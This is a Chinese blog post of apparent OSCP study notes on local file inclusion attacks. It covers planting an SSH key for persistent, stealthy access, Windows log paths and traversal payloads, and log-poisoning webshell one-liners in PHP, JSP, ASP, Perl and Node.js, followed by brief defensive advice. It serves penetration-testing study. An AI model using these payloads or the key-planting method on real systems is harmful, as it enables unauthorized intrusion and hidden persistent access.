4-4〔O҉S҉C҉P҉ ◈ 研记〕❘ WEB应用攻击▸本地文件包含漏洞-B
郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。
💥👉点赞❤️ 关注🔔 收藏⭐️ 评论💬💥
更多文章戳👉Whoami!-CSDN博客🚀
𖤐 现在,我们渐入佳境了,保持耐心,继续前行 !
𖤐 𝓝𝓸𝔀 𝔀𝓮'𝓻𝓮 𝓱𝓲𝓽𝓽𝓲𝓷𝓰 𝓸𝓾𝓻 𝓼𝓽𝓻𝓲𝓭𝓮, 𝓴𝓮𝓮𝓹 𝓹𝓪𝓽𝓲𝓮𝓷𝓽 𝓪𝓷𝓭 𝓴𝓮𝓮𝓹 𝓶𝓸𝓿𝓲𝓷𝓰 𝓯𝓸𝓻𝔀𝓪𝓻𝓭!
→ 信息收集
→ 漏洞检测
→ 初始立足点▸常见WEB应用攻击▸-----我们在这儿~ 🔥🔥🔥
→ 权限提升
→ 横向移动
→ 报告/分析
→ 教训/修复
目录
1 常见WEB应用攻击
1.2 文件包含漏洞概述
1.2.2 本地文件包含漏洞(LFI)
1.2.2.6 实现SSH(公钥文件)-登录到服务器
1.生成SSH密钥对(如果没有)
2.获取公钥内容并写入目标主机中
3.设置公钥文件权限
4.测试ssh登录
1.2.2.7 两种远程攻击对比
1.2.3 针对Windows的LFI攻击
1.2.3.1 Windows与Linux LFI攻击对比
1.2.3.2 Windows目标LFI攻击指南
1.确定利用攻击向量
2.了解日志文件在Windows的路径
3.多语言环境LFI攻击payload
4.将执行代码注入到日志文件
1.2.4 跨平台LFI攻击检查清单
1.2.5 防御方建议
💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬
1 常见WEB应用攻击
Web开发是当前IT领域需求最高的技能之一,然而多种安全漏洞在各类Web应用程序中反复出现。无论使用何种技术栈,这些常见漏洞都可能存在于已部署的应用程序中。主要攻击类型包括:
-
📁 目录遍历 - 通过操纵文件路径访问未授权资源
-
📄 文件包含漏洞 - 包含恶意文件执行代码---(本文)
-
⬆️ 文件上传攻击漏洞 - 上传恶意文件获取系统访问权
-
⚡ 命令注入 - 在输入中注入系统命令执行
1.2 文件包含漏洞概述
1.2.2 本地文件包含漏洞(LFI)
1.2.2.6 实现SSH(公钥文件)-登录到服务器
下面简述通过使用SSH登录到服务器。
🔑 攻击原理
1.通过LFI漏洞将攻击主机生成SSH密钥对并将其公钥文件添加到目标用户(被攻击主机)的 authorized_keys 文件中。
2.再针对该文件及其所属文件夹设置正确的权限,即可实现SSH密钥登录(无需密码)。在这个过程中,重要的两点,通过LFI漏洞对目标主机执行命令:
- 让目标用户(被攻击主机)写入公钥文件
- 实现该公钥文件及文件夹的权限修改。
这个就要利用所发现LFI漏洞,再通过包含LFI漏洞的日志文件来执行以上所需的PHP代码片段!!!
1.生成SSH密钥对(如果没有)
$ ssh-keygen -t rsa -b 4096
项目 | 说明 |
---|---|
操作目的 | 生成一对SSH密钥对:SSH公钥和私钥 |
关键参数及作用 | -t:指定生成的密钥类型为 rsa。 -b:指定密钥的位数,4096 表示生成 4096 位的 RSA 密钥 |
默认存储位置 | 私钥:~/.ssh/id_rsa 公钥:~/.ssh/id_rsa.pub,稍后把公钥发送到服务器。 |
2.获取公钥内容并写入目标主机中
假设已经有了公钥文件(~/.ssh/id_rsa.pub),并希望将其添加到某个用户(例如username)的authorized_keys文件中,可按照以下步骤操作:
$ cat ~/.ssh/id_rsa.pub | ssh kali@192.168.162.139 'mkdir -p ~/.ssh && cat >> ~/.ssh/authorized_keys'
通过 SSH 将本地主机(攻击主机)上的公钥复制到远程主机(目标主机)上,使得以后可以通过 SSH 无密码登录到目标主机。具体步骤如下:
1)查看本地(攻击者)公钥并传输(到目标主机)
cat ~/.ssh/id_rsa.pub:读取本地(攻击者主机)生成的公钥(id_rsa.pub)。
|:管道符号,用于将 cat 命令输出的内容(公钥)传递给后面的 SSH 命令。
ssh kali@192.168.162.139:通过 SSH 连接到目标主机(192.168.162.139)上的 kali 用户。
'mkdir -p ~/.ssh && cat >> ~/.ssh/authorized_keys':在远程主机上执行两个操作:
①mkdir -p ~/.ssh:确保目标主机的 ~/.ssh 目录存在,如果不存在则创建它。
②cat >> ~/.ssh/authorized_keys:将本地公钥追加到目标主机的 ~/.ssh/authorized_keys 文件中,这样目标主机会信任该公钥,从而允许 SSH 无密码登录。
2)验证目标主机是否收到公钥
登录到目标主机(192.168.162.139)后,你可以检查目标主机的 ~/.ssh/authorized_keys 文件,确认公钥是否已经成功复制到其中。
$ cat ~/.ssh/authorized_keys
应该可以看到目标主机上已经存在攻击主机(192.168.162.136)的公钥(来自 id_rsa.pub)。
3.设置公钥文件权限
要在目标主机上确保.ssh目录和authorized_keys文件的权限设置正确,这样才能不输入密码完成远程访问,否则将提示输入远程主机密码,如下:
使用以下命令在目标主机(162.139)进行权限设置:
$ chmod 700 ~/.ssh
$ chmod 600 ~/.ssh/authorized_keys# 设置.ssh目录具有 700权限(即只有用户自己有读写和执行权限)。
# authorized_keys 文件应具有 600 权限(即只有用户自己有读写权限)。
4.测试ssh登录
完成上述步骤后,在攻击主机(192.168.162.136)上可通过SSH使用密钥登录目标主机(192.168.162.139),如果一切设置正确,能够在不输入密码的情况下成功登录。
$ ssh kali@192.168.162.139
1.2.2.7 两种远程攻击对比
反向Shell的限制
-
网络连通性:目标必须能连接到攻击者IP
-
防火墙规则:出站连接可能被阻止
-
会话持久性:连接断开后需要重新建立
SSH密钥攻击的优势
-
持久访问:一次植入,长期有效
-
隐蔽性高:看起来像正常SSH连接
-
绕过检测:难以被安全设备识别
攻击方式 | 实现难度 | 隐蔽性 | 持久性 | 适用场景 |
---|---|---|---|---|
反向Shell | ⭐⭐ | ⭐⭐ | ⭐ | 需要实时交互 |
SSH密钥植入 | ⭐⭐⭐ | ⭐⭐⭐⭐ | ⭐⭐⭐⭐ | 长期访问需求 |
1.2.3 针对Windows的LFI攻击
1.2.3.1 Windows与Linux LFI攻击对比
攻击要素 | Linux系统 | Windows系统 |
---|---|---|
文件路径 | /var/log/apache2/ | C:\xampp\apache\logs\ |
路径分隔符 | 正斜杠(/ ) | 反斜杠(\ )或正斜杠(/ ) |
日志位置 | 标准化的Unix路径 | 依赖安装路径 |
代码兼容性 | PHP代码直接可用 | PHP代码同样适用 |
PHP利用代码 | (<?php echo system($_GET['cmd']); ?>) | 同左侧 |
1.2.3.2 Windows目标LFI攻击指南
1.确定利用攻击向量
✅ 关键确认点:PHP代码跨平台兼容
<?php echo system($_GET['cmd']); ?>
-
系统无关性:使用PHP
system()
函数,与底层操作系统无关 -
统一攻击向量:相同的代码片段适用于Windows和Linux目标
2.了解日志文件在Windows的路径
📍 常见Web服务器日志路径
Web服务器 | 默认日志路径 | 备注 |
---|---|---|
XAMPP | C:\xampp\apache\logs\ | 最常见的选择 |
WAMP | C:\wamp\logs\ | |
IIS | C:\inetpub\logs\ | Windows自带服务器 |
自定义安装 | 根据实际安装目录 | 需要信息收集 |
🔍 路径发现方式
# 通过LFI尝试常见路径
?page=../../../xampp/apache/logs/access.log
?page=../../../../wamp/logs/access.log
?page=../../../../inetpub/logs/access.log
3.多语言环境LFI攻击payload
利用文件包含漏洞在很大程度上取决于Web应用程序的编程语言、版本和Web服务器配置。除了PHP之外,我们还可以利用其他框架或服务器端脚本语言中的LFI和RFI漏洞,包括 Perl、Active Server Pages Extended、Active Server Pages、和Java Server Pages。利用这些类型的漏洞在这些语言中非常相似。
语言/框架 | 利用代码片段示例 | 利用特点 |
---|---|---|
PHP | <?php system($_GET['cmd']); ?> | 最常见,直接系统调用 |
JSP | <% Runtime.getRuntime().exec(request.getParameter("cmd")); %> | Java环境执行 |
ASP | <% CreateObject("WScript.Shell").Exec("cmd /c " & Request("cmd")) %> | Windows原生支持 |
Perl | system($ENV{'QUERY_STRING'} =~ /cmd=([^&]+)/); | 古老但有效 |
Node.js | require('child_process').exec(require('url').parse(req.url,true).query.cmd) | 现代JavaScript环境 |
4.将执行代码注入到日志文件
JSP Web应用程序中的LFI漏洞。如果我们可以使用日志污染将JSP代码写入文件中,并利用LFI漏洞包含此文件,代码将被执行。这个示例与之前的PHP演示的唯一区别是:用于日志污染的代码片段将是不同的语言。
核心思路不变:无论何种语言,LFI攻击的本质都是:
-
将可执行代码注入到可访问的文件中
-
通过文件包含功能执行该文件
-
实现远程代码执行
PHP(最常见)
<?php system($_GET['cmd']); ?>
JSP代码片段
<% String cmd = request.getParameter("cmd");Runtime.getRuntime().exec(cmd);
%>
ASP经典代码
<%Set cmd = CreateObject("WScript.Shell")cmd.Exec("cmd /c " & Request.QueryString("cmd"))
%>
Node.js示例
require('child_process').exec(require('url').parse(req.url,true).query.cmd)
1.2.4 跨平台LFI攻击检查清单
🔍 信息收集阶段
-
确定目标操作系统(Windows/Linux)
-
识别Web服务器类型和版本
-
确认服务端编程语言
-
收集应用程序安装路径信息
⚔️ 攻击实施阶段
-
根据语言选择合适的代码片段
-
使用正确的路径格式(Windows注意驱动器和反斜杠)
-
进行URL编码处理特殊字符
-
测试多个可能的日志文件位置
1.2.5 防御方建议
通用防护措施
-
输入验证:严格过滤用户提供的文件路径
-
权限最小化:Web服务器用户权限限制
-
日志安全:日志文件不可执行位置存储
-
安全配置:禁用不必要的文件包含功能
语言特定防护
-
PHP:设置
open_basedir
限制,禁用allow_url_include
-
Node.js:避免动态require,使用静态导入
-
Java:使用SecurityManager限制文件访问
💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬
您的支持是我创作最大的动力!